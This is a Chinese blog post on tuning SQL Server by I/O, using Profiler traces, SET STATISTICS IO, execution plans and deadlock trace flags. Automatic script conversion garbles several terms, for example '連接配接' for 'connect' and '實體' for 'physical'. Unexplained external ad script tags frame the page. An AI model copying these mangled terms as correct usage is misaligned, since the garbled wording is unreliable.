<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>
SqlServer的性能問題,也是窗戶紙,讓偶道來!
先考慮一個問題,怎麼判斷SQL的執行效率是好是壞?也許,95%的人會回答,看執行時間。
錯!
為什麼?因為在一個穩定的DB中(穩定這個詞,我是這樣定義的:某個時間段内,如1周,大部分被SQL緩存的資料是幾乎不變的,這意味着客戶這段時間内的操作模式、資料變化,是平穩的),同樣的sql執行,可能會因為緩存的變化,導緻時間變化無常,或者因為一些諸如hot spot,也會導緻這個問題。
既然要tuning,就要有一個調優的标準。标準是什麼呢?最主要的,看I/O。
在一個穩定的DB中,執行同樣的SQL,I/O基本是不變化的。同樣的記憶體配置,你的桌上型電腦,客戶的進階server,産生的I/O相差不大的。I/O分為兩種,邏輯的,從記憶體讀寫;實體的,從磁盤讀寫。
SQL調優的最終目的,就是大幅度的降低I/O大小,減少阻塞,避免死鎖。
有了這個目标之後,就可以開始幹活了!
首先打開sql analysis(查詢分析器),用sa連接配接到你的資料庫,執行
dbcc traceon(1204,3605,-1),這一句保證任何的死鎖資訊都會被記錄在sql log中。
然後打開sql profiler(事件探查器),在業務高峰期開始,抓裡面的sql completed和sp completed,持續2-4個小時(看客戶的實際情況而定)。
然後把profiler裡面的資料save as到一個table中,加入叫做:jq(偶名字的縮寫)。好,到此,成功1/3了!
再次打開查詢分析器,執行類似的這條sql:
Select textdata, reads, duration from jq order by reads desc
這會把所有抓到的sql按照I/O從大到小的順序排列,睜大你的眼睛,找出來那些I/O最大的,執行最頻繁的sql,copy出來,在查詢分析器的另一個視窗中,粘貼上。
哦,先不要急着Ctrl+E,要先執行這個語句!
Set statistics io on
然後按一下Ctrl+K(打開執行計劃)
好了,執行你從jq裡面抓到的那個最大的sql吧!仔細分析下面的執行計劃,仔細看output中每個表的I/O。分析為什麼index的走向不是你所期望的,分析為什麼這麼多nested loops,分析為什麼有大量的worktable?等等,等等。
上面是對于普通sql調優的辦法。而對于阻塞,可以參考msdn的文章,kbid是271509。
對于死鎖,剛才說過了,隻要dbcc traceon(1204,3605,-1)執行後,所有的deadlock都會記錄在sql log中。這個日志,純文字檔案,一般會列舉出,至少兩個對象的目前狀态。常見的,如:
KEY: 8:1653632984:2 (da00ce043a9e) CleanCnt:1 Mode: U Fl ags: 0x0
KEY: 8:1653632984:1 (2d018af70d80) CleanCnt:1 Mode: X Flags: 0x0
通過察看sysobjects中ID,和index,我們可以找到對應的deadlock的table,通過分析執行計劃,我們可以看出死鎖發生的原因。具體内容,參考msdn文章,KBID是832524。
補充一下,GTEC也作SQL的case,雖然收費不菲,哈哈!
(注,連續三篇随筆介紹的情況和方法,同樣适用于Vista/SqlServer 2005等最新MS産品)
<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>